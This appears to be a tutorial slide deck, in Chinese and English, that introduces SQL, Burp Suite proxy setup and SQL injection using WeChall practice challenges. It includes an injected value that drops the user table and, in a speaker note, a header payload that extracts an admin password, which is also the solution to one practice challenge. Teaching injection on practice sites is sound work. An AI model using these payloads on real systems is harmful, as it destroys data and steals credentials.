# SQL injection
###### ~~本簡報僅限學術用途，不要拿來用來搞事(怒)~~

----

### 前言

##### *所有的天才，只不過是學會了你自己認為你不可能學會的東西而已*

---

## What is database ?
#### something that you can store data.

----

### the data in database
### (always called "row")


----

### would look like excel.


NOTE: 應用？

---

## What is SQL ?

#### ***S*** tructured ***Q*** uery ***L*** anguage

> a domain-specific language
> designed for managing data

NOTE: 簡單說就是跟資料庫溝通的語言

----

you sent a query to database,
and it take action.
(and maybe return result)

---

## Basic query
https://steve-lab.eu.org/superdatabase/

----

## search the column from table
SELECT \<column\[,col...\]\> FROM \<table_name\>;


----


----

SELECT 1;

----

SELECT "ABC";

----

SELECT * FROM \`user\`

----

##### SELECT 1 FROM \`user\`;
##### SELECT 1;

NOTE: What different and what would happen.

----


----

## WHERE
##### condition in SQL

----

##### SELECT * FROM Customers WHERE CustomerID=2;


----

Basic condition:
>AND, OR

Basic compare:
> \>, <, =, >=, <=

----

Compare wit less restrict:
>IS, IS NOT, LIKE

function:
>SUBSTRING(str/col, pos, len)

----

##### WHERE LIKE


----

### example of LIKE

----

> WHERE username LIKE "abc%"

would match all string start with abc

----
> WHERE username LIKE "123__"

would match all string start with 123 and followed by two any char

NOTE:%可以符合任意數量的字元（包含數量0),\_一定要是任意一個字元

----

##### SELECT in SELECT


NOTE: why 8 rows?

---

## A tool
## b4 we start h4cKI!NG..

NOTE:講慢一點

----

#### Intall Burpsuite
https://portswigger.net/burp/communitydownload

Choose the ***community edition*** and your OS


----

#### Install Firefox
Because chrome is alway limit...
You need a fox to set proxy, bro.

> a useful firefox add-on
> "Proxy SwitchOmega"

----

#### Start a burpsuite project

Next

----

Start Burp

----

Check the "Intercept is off"

----

#### set up your firefox

##### 1.

##### 2.
Click Preference

----

##### 3.

##### 4.

----

#### download CA Certificate

http://burpsuite

Click the "CA Certificate" to download.

----

#### install the CA Certificate

Click "view certificate"
=> "import..."
=> select the CA your downloaded.

----

#### an overview
1. install & start burpsuite (with "intercept is off")
2. install firefox
3. set up firefox proxy
4. download CA Certificate
5. install CA Certificate
6. try it

---

## basic burpsuite

----

### watch HTTP history


Select one request in histroy and press Ctrl+r.
Then ...

----

### Repeater
Then you can see it in Repeater.
and you can edit and click the send


----

###### different request content with different response


---

## It is time 2 inj3ct!
# IT IS TIME 4 H4CKING!!

------
#### Have you ever think?...
##### How password be stored？
##### What heppen when you click "login"?

----

1. Click login
2. server receive the password and username you sent

NOTE:講慢一點

----

4. query to get the DB_password with your username
> SELECT \`DB_password\` FROM \`user\` WHERE \`username\` = "%s"
5. compare the password and DB_password

----

### Is there something wrong??

----

> 「Never trust user input」

SELECT \`DB_password\` FROM \`user\`
WHERE \`username\` = "\\""+ username +"\\""

What could happen?

----

example.com/?username=Jhon
> WHERE \`username\` = "Jhon"

example.com/?username=hello
> WHERE \`username\` = "hello"

----

example.com/?username="
> WHERE \`username\` = """

----

`「資料庫不是應該都要有奇數個引號嗎！？」`
`by 某人`


----

### So...
#### if there someone called:
### Robert";DROP TABLE \`user\`#

----

?username=Robert";DROP TABLE \`user\`#
> WHERE \`username\` = "Robert";DROP TABLE \`user\`#"

----


----

## And the table be droped(delete).
#### all the data in the table is deleted.
~~Sound interesting, right?~~

----

## Any question? :D

---

# Practice time!!

> Don't try it on internet without the permission of target

----

### The baby SQLi
https://www.wechall.net/challenge/training/mysql/auth_bypass1/index.php

----

1. Read code source

> How it work?
> The logic of target?

NOTE:講慢一點

----

2. try it
> Prove your idea and modify it with results.

----

#### a stange way to use SQLi

https://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php

----

#### Where to inject?
##### You need tool!

https://www.wechall.net/challenge/guestbook/index.php

NOTE: X-Forwarded-For: 3333', (SELECT `gbu_password` FROM `gbook_user` WHERE gbu_name="admin"))#

---


---

## END

NOTE:提醒復原，問他們都會嗎？